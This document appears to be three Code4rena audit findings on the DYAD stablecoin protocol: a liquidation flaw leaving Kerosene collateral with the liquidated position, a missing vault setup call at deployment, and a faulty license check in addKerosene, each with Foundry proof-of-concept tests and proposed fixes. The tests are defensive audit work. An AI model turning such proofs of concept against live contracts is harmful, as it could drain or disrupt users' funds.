Impact When calling VaultManagerV2::liquidiate to liquidate a DNft's collateral, the liquidator must burn the same amount of collateral as the DNft has minted: dyad.burn(id, msg.sender, dyad.mintedDyad(address(this), id)); In return the liquidator gets a portion of the DNfts remaining collateral as a reward.

However in the current implementation, the DNft being liquidated keeps all it's deposited Kerosene, meaning that if a users collateral is made up of mostly Kerosene, liquidating them will not be profitable for the liquidator and result in a net positive gain for the DNft being liquidated.

Proof Of Concept The following foundry test is an example of this:

  function testBasicLiq() public {
    licenseVaultManager();
    (Vault dummyWeth, DummyOracle dummyOracle) = addDummyWethVault();
    address alice = makeAddr("alice");
    uint aliceTokenId = sendNote(alice);
    getWETH(alice, 10 ether);
    uint keroseneAmount = 330_000 ether;
    sendKerosene(alice, keroseneAmount); 

    // Add TVL to avoid underflow
    boostTVL(address(dummyWeth), 1000 ether);
    // Add dummyWeth vault to kerosene manager
    vm.prank(MAINNET_OWNER);
    contracts.kerosineManager.add(address(dummyWeth));

    // Set up bob as liquidator
    address bob = makeAddr("bob");
    uint bobTokenId = sendNote(bob);
    getWETH(bob, 100 ether);
    vm.startPrank(bob);
    contracts.vaultManager.add(bobTokenId, address(contracts.ethVault));
    WETH(payable(MAINNET_WETH)).approve(address(contracts.vaultManager), 100 ether);
    contracts.vaultManager.deposit(bobTokenId, address(contracts.ethVault), 100 ether);

    contracts.vaultManager.mintDyad(bobTokenId, 30000 ether, bob);
    contracts.vaultManager.add(bobTokenId, address(dummyWeth));
    vm.stopPrank();

    // Alice deposits collat & mints dyad
    vm.startPrank(alice);
    contracts.vaultManager.add(aliceTokenId, address(dummyWeth));
    contracts.vaultManager.addKerosene(aliceTokenId, address(contracts.unboundedKerosineVault));

    WETH(payable(MAINNET_WETH)).approve(address(contracts.vaultManager), 10 ether);
    contracts.vaultManager.deposit(aliceTokenId, address(dummyWeth), 10 ether);

    Kerosine(MAINNET_KEROSENE).approve(address(contracts.vaultManager), keroseneAmount);
    contracts.vaultManager.deposit(aliceTokenId, address(contracts.unboundedKerosineVault), keroseneAmount);
    contracts.vaultManager.mintDyad(aliceTokenId, 30000 ether, alice);
    vm.stopPrank();

    // Lower value of fake dyad (eth drops 10%) 
    dummyOracle.setAnswer(280000);

    console.log("Collateral Before Liquidation");
    logUserValue(bobTokenId, bob, "bob");
    logUserValue(aliceTokenId, alice, "alice");

    // Liquidate Alice
    vm.startPrank(bob);
    ERC20(MAINNET_DYAD).approve(address(contracts.vaultManager), 30000 ether);
    contracts.vaultManager.liquidate(aliceTokenId, bobTokenId);

    // Calc bobs value after
    console.log("Collateral After Liquidation");
    logUserValue(bobTokenId, bob, "bob");
    logUserValue(aliceTokenId, alice, "alice");
  }  

  // HELPER FUNCTIONS

  function sendNote(address _to) internal returns(uint) {
    vm.startPrank(MAINNET_OWNER);
    uint tokenId = DNft(MAINNET_DNFT).mintInsiderNft(_to);    
    vm.stopPrank();
    return tokenId;
  }

  function sendKerosene(address _to, uint _amount) internal {
    vm.startPrank(MAINNET_OWNER);
    Kerosine(MAINNET_KEROSENE).transfer(_to, _amount);
    vm.stopPrank();
  }

  function licenseVaultManager() internal {
    Licenser licenser = Licenser(MAINNET_VAULT_MANAGER_LICENSER);
    vm.prank(MAINNET_OWNER);
    licenser.add(address(contracts.vaultManager));
  }

  function addDummyWethVault() internal returns(Vault, DummyOracle) {
    // Set up a dummy weth vault to help simulate price movement
    DummyOracle dummyOracle = new DummyOracle();
    Vault dummyWeth = new Vault(contracts.vaultManager,ERC20(MAINNET_WETH), IAggregatorV3(address(dummyOracle))); 
    vm.prank(MAINNET_OWNER);
    contracts.vaultLicenser.add(address(dummyWeth));
    return (dummyWeth, dummyOracle);
  }

  function getWETH(address _to, uint _amount) internal {
    vm.deal(_to, _amount);
    vm.startPrank(_to);
    WETH(payable(MAINNET_WETH)).deposit{value: _amount}();
    vm.stopPrank();
  }

  function boostTVL(address _vault, uint _amount) internal {
    getWETH(_vault, _amount);
  }

  function logUserValue(uint _tokenId, address _user, string memory _name) internal view {
    uint userExoCollat = contracts.vaultManager.getNonKeroseneValue(_tokenId);
    uint userKeroCollat = contracts.vaultManager.getKeroseneValue(_tokenId);
    uint userDyadBalance = ERC20(MAINNET_DYAD).balanceOf(_user);
    console.log(_name);
    console.log("User Exo Collateral  :", userExoCollat);
    console.log("User Kero Collateral :", userKeroCollat);
    console.log("User DYAD Balance    :", userDyadBalance);
  }

The test returns the following logs (values in brackets added for clarity):

  Collateral Before Liquidation
  bob
  User Exo Collateral  : 324977579316000000000000 (~$325k == 100 ether)
  User Kero Collateral : 0
  User DYAD Balance    : 30000000000000000000000 ($30k)
  alice
  User Exo Collateral  : 28000000000000000000000 ($28k)
  User Kero Collateral : 16404026100000000000000 (~$16.4k)
  User DYAD Balance    : 30000000000000000000000 ($30k)

  Collateral After Liquidation
  bob
  User Exo Collateral  : 345711342152879334228000 (~$346k) +$21k
  User Kero Collateral : 0
  User DYAD Balance    : 0                        ($0) -30k
  alice
  User Exo Collateral  : 7266237163120665772000   (~$7.3k) - $21k
  User Kero Collateral : 16604075400000000000000  (~$16.6k)
  User DYAD Balance    : 30000000000000000000000  ($30k)

As this shows, attempting to liquidate Alice's position actually resulted in Bob losing $9k while Alice keeps around 25% of her initial exogenous collateral, as well as 100% of her Kerosene & Dyad tokens.

Recommended Mitigation It is likely that the intention is for the liquidator to also receive a share of the Kerosene tokens of a user being liquidated as well as a share of their exogenous collateral. In the example shown above, if Bob were to have received the same percentage of Alice's Kerosene as the percentage of her collateral he received then his ~$9k loss would become a ~3k gain. Therefore the liquidate function should also loop over vaultsKerosene and move liquidationAssetShare to the liquidator too.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/script/deploy/Deploy.V2.s.sol#L78-L82 https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/Vault.kerosine.bounded.sol#L23-L30 https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/README.md?plain=1#L66-L68

Vulnerability details

Root Cause

The setUnboundedKerosineVault function was never called during deployment, nor was it planned to be called post deployment.

Impact

Without setting the unboundedKerosineVault, any attempt to get the asset price of a dNFT that has uses the bounded Kerosene vault will result in a revert.

Note Regarding Vault Licenser

VaultManagerV2's addKerosene() erroneously does a vault license check using keroseneManager.isLicensed(vault) at VaultManagerV2.sol#L88 making it impossible to add Kerosene vaults to Notes. As clarified by the sponsor in this video DYAD V2- Kerosene - Code4rena Audit #2, the vaults in keroseneManager are intended to be used for kerosene value calculation and kerosene vaults are not supposed to be added there. We updated the relevant Kerosene vault license checks to use vaultLicenser.isLicensed(vault) instead as it is aligned with the deployment script at Deploy.V2.s.sol#L95 since unboundedKerosineVault is added as a licensed vault with vaultLicenser.add(address(unboundedKerosineVault))

The two following code changes were made to VaultManagerV2.sol so that the unbounded kerosene vault can be added as a kerosene vault without further changes in the vaults, the vault manager, or the deployment script.

VaultManagerV2.sol#L88 From:

if (!keroseneManager.isLicensed(vault))                 revert VaultNotLicensed();

To:

if (!vaultLicenser.isLicensed(vault))                   revert VaultNotLicensed();

and VaultManagerV2.sol#L280 From:

if (keroseneManager.isLicensed(address(vault))) {

To:

if (vaultLicenser.isLicensed(address(vault))) {

Proof of Concept

The following test script demonstrates that the getKeroseneValue function reverts when the unboundedKerosineVault is not set during deployment.

forge t --mt test_boundedVaultValueRevert --fork-url <MAINNET_RPC_URL> -vv

// SPDX-License-Identifier: MIT
pragma solidity =0.8.17;

import "forge-std/console.sol";
import "forge-std/Test.sol";

import {DeployV2, Contracts} from "../../script/deploy/Deploy.V2.s.sol";
import {Licenser} from "../../src/core/Licenser.sol";
import {Parameters} from "../../src/params/Parameters.sol";
import {WETH} from "../WETH.sol";
import {DNft} from "../../src/core/DNft.sol";

contract V2TestBoundedKeroseneVault is Test, Parameters {

  Contracts contracts;

  function setUp() public {
    contracts = new DeployV2().run();
  }

  function test_boundedVaultValueRevert() public {
    Licenser licenser = Licenser(MAINNET_VAULT_MANAGER_LICENSER);
    vm.prank(MAINNET_OWNER);
    licenser.add(address(contracts.vaultManager));

    address alice = makeAddr("alice");
    vm.prank(MAINNET_OWNER);
    uint aliceTokenId = DNft(MAINNET_DNFT).mintInsiderNft(alice);    

    // drop 1000 eth into ethVault for initial TVL used for calculating kerosene price
    vm.deal(address(contracts.ethVault), 1000 ether);
    vm.prank(address(contracts.ethVault));
    WETH(payable(MAINNET_WETH)).deposit{value: 1000 ether}();

    // add boundedKerosineVault as a licensed vault since it was commented out in the deploy script
    vm.prank(MAINNET_OWNER);
    contracts.vaultLicenser.add(address(contracts.boundedKerosineVault));

    // add boundedKerosineVault to kerosene vault
    vm.prank(alice);
    contracts.vaultManager.addKerosene(aliceTokenId, address(contracts.boundedKerosineVault));

    // getKeroseneValue now reverts
    vm.expectRevert();
    contracts.vaultManager.getKeroseneValue(aliceTokenId);

    // set the unbounded kerosine vault for the bounded kerosine vault
    vm.prank(MAINNET_OWNER);
    contracts.boundedKerosineVault.setUnboundedKerosineVault(contracts.unboundedKerosineVault);

    // this is fine now
    contracts.vaultManager.getKeroseneValue(aliceTokenId);

  }
}

Tools Used

Manual testing

Recommended Mitigation Steps

Set the unboundedKerosineVault during deployment.

Changes to DeployV2

Call the setUnboundedKerosineVault function during deployment after deploying the bounded Kerosene vault at Deploy.V2.s.sol#L78-L82:

boundedKerosineVault.setUnboundedKerosineVault(unboundedKerosineVault);

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L88 https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/Vault.kerosine.unbounded.sol#L56-L64

Vulnerability details

Root Cause

When a user calls VaultManagerV2::addKerosene to add a Kerosene vault to their vaultsKerosene mapping there is the following check:

if (!keroseneManager.isLicensed(vault))                 revert VaultNotLicensed();

However keroseneManager is intended to only store exogenous collateral vaults (WETH/wstETH) as explained in this video. Therefore any Kerosene vault passed to addKerosene should be unlicensed and cause this function to revert. If the team were to add a Kerosene vault to the KerosineManager this would break the UnboundedKeroseneVault::assetPrice function as it expects vaults to have an oracle method, which Kerosene vault's do not have, shown here:

  function assetPrice() public view override returns (uint) {
    uint tvl;
    address[] memory vaults = kerosineManager.getVaults(); // This would include the KeroseneVault if added
    -- snip
    tvl += vault.asset().balanceOf(address(vault)) 
      * vault.assetPrice() * 1e18
      / (10**vault.asset().decimals()) 
      / (10**vault.oracle().decimals()); // A KeroseneVault would revert here as it has no oracle method
    -- snip
  }

Impact

After deployment, the unboundedKerosineVault cannot be added as a Kerosene vault due to it not being on kerosineManager's vaults address set.

If the unboundedKerosineVault is added to the kerosineManager's vaults address set, the UnboundedKerosineVault::assetPrice function will revert due to the vault not having an oracle defined.

This makes it impossible for an end user to add a Kerosene vault to their dNFT.

Proof of Concept

The following test script demonstrates that:

1. With the current deploy script, the unboundedKerosineVault cannot be added as a Kerosene vault
2. When trying to add the unboundedKerosineVault as a Kerosene vault after licensing it, attempts to get its Kerosene value will revert due to it not having an oracle.

forge t --mt test_cannotAddKeroseneVault --fork-url <MAINNET_RPC_URL> -vv

// SPDX-License-Identifier: MIT
pragma solidity =0.8.17;

import "forge-std/console.sol";
import "forge-std/Test.sol";

import {DeployV2, Contracts} from "../../script/deploy/Deploy.V2.s.sol";
import {ERC20} from "lib/solmate/src/tokens/ERC20.sol";
import {Licenser} from "../../src/core/Licenser.sol";
import {Parameters} from "../../src/params/Parameters.sol";
import {WETH} from "../WETH.sol";
import {DNft} from "../../src/core/DNft.sol";
import {Kerosine} from "../../src/staking/Kerosine.sol";
import {Vault} from "../../src/core/Vault.sol";

contract V2TestCannotAddKeroseneVault is Test, Parameters {

  Contracts contracts;
  address alice;
  uint aliceTokenId;

  function setUp() public {
    contracts = new DeployV2().run();


    // license the v2 vault manager
    Licenser licenser = Licenser(MAINNET_VAULT_MANAGER_LICENSER);
    vm.prank(MAINNET_OWNER);
    licenser.add(address(contracts.vaultManager));

    // setup alice and a note
    alice = makeAddr("alice");
    vm.prank(MAINNET_OWNER);
    aliceTokenId = DNft(MAINNET_DNFT).mintInsiderNft(alice);    

    // drop 1000 eth into ethVault for initial TVL used for calculating kerosene price
    vm.deal(address(contracts.ethVault), 1000 ether);
    vm.prank(address(contracts.ethVault));
    WETH(payable(MAINNET_WETH)).deposit{value: 1000 ether}();

  }

  function test_cannotAddKeroseneVault_notLicensed() public {
    // try to add the kerosine vault to a note
    vm.prank(alice);
    // Reverts because VaultNotLicensed()
    contracts.vaultManager.addKerosene(aliceTokenId, address(contracts.unboundedKerosineVault));
  }

  function test_cannotAddKeroseneVault_errorAfterLicensing() public {
    // able to get the kerosene value of the note (which is 0)
    contracts.vaultManager.getKeroseneValue(aliceTokenId);

    // add the unbounded kerosine vault to the kerosine manager vault list so it's possible to add the kerosene vault to a note
    vm.prank(MAINNET_OWNER);
    contracts.kerosineManager.add(address(contracts.unboundedKerosineVault));

    // add the kerosine vault to a note
    vm.prank(alice);
    contracts.vaultManager.addKerosene(aliceTokenId, address(contracts.unboundedKerosineVault));

    // no longer able to get the kerosene value of the note
    // Reverts because UnboundedKerosineVault does not have an oracle
    contracts.vaultManager.getKeroseneValue(aliceTokenId);
  }
}

Tools Used

Manual testing

Recommended Mitigation Steps

Keep separate vault address sets in the KerosineManager for licensing and Kerosene price calculation.

Changes to KerosineManager

1. Add a licensedVaults address set at KerosineManager.sol#L16

EnumerableSet.AddressSet private licensedVaults;

2. Add functions to add and remove vaults to the licensedVaults address set for KerosineManager.

function addLicensedVault(address vault) external onlyOwner {
  if (!licensedVaults.add(vault)) revert VaultAlreadyAdded();
}
function removeLicensedVault(address vault) external onlyOwner {
  if (!licensedVaults.remove(vault)) revert VaultNotFound();
}

3. Update the isLicensed function to use the new licensedVaults address set at KerosineManager.sol#L50

return licensedVaults.contains(vault);

Changes to Deploy.V2

1. License the Kerosene vaults at Deploy.V2.s.sol#L95-L96 using the new addLicensedVault function, replacing the current vaultLicenser calls.

kerosineManager.addLicensedVault(address(unboundedKerosineVault));
// kerosineManager.addLicensedVault(address(boundedKerosineVault));

Assessed type

Other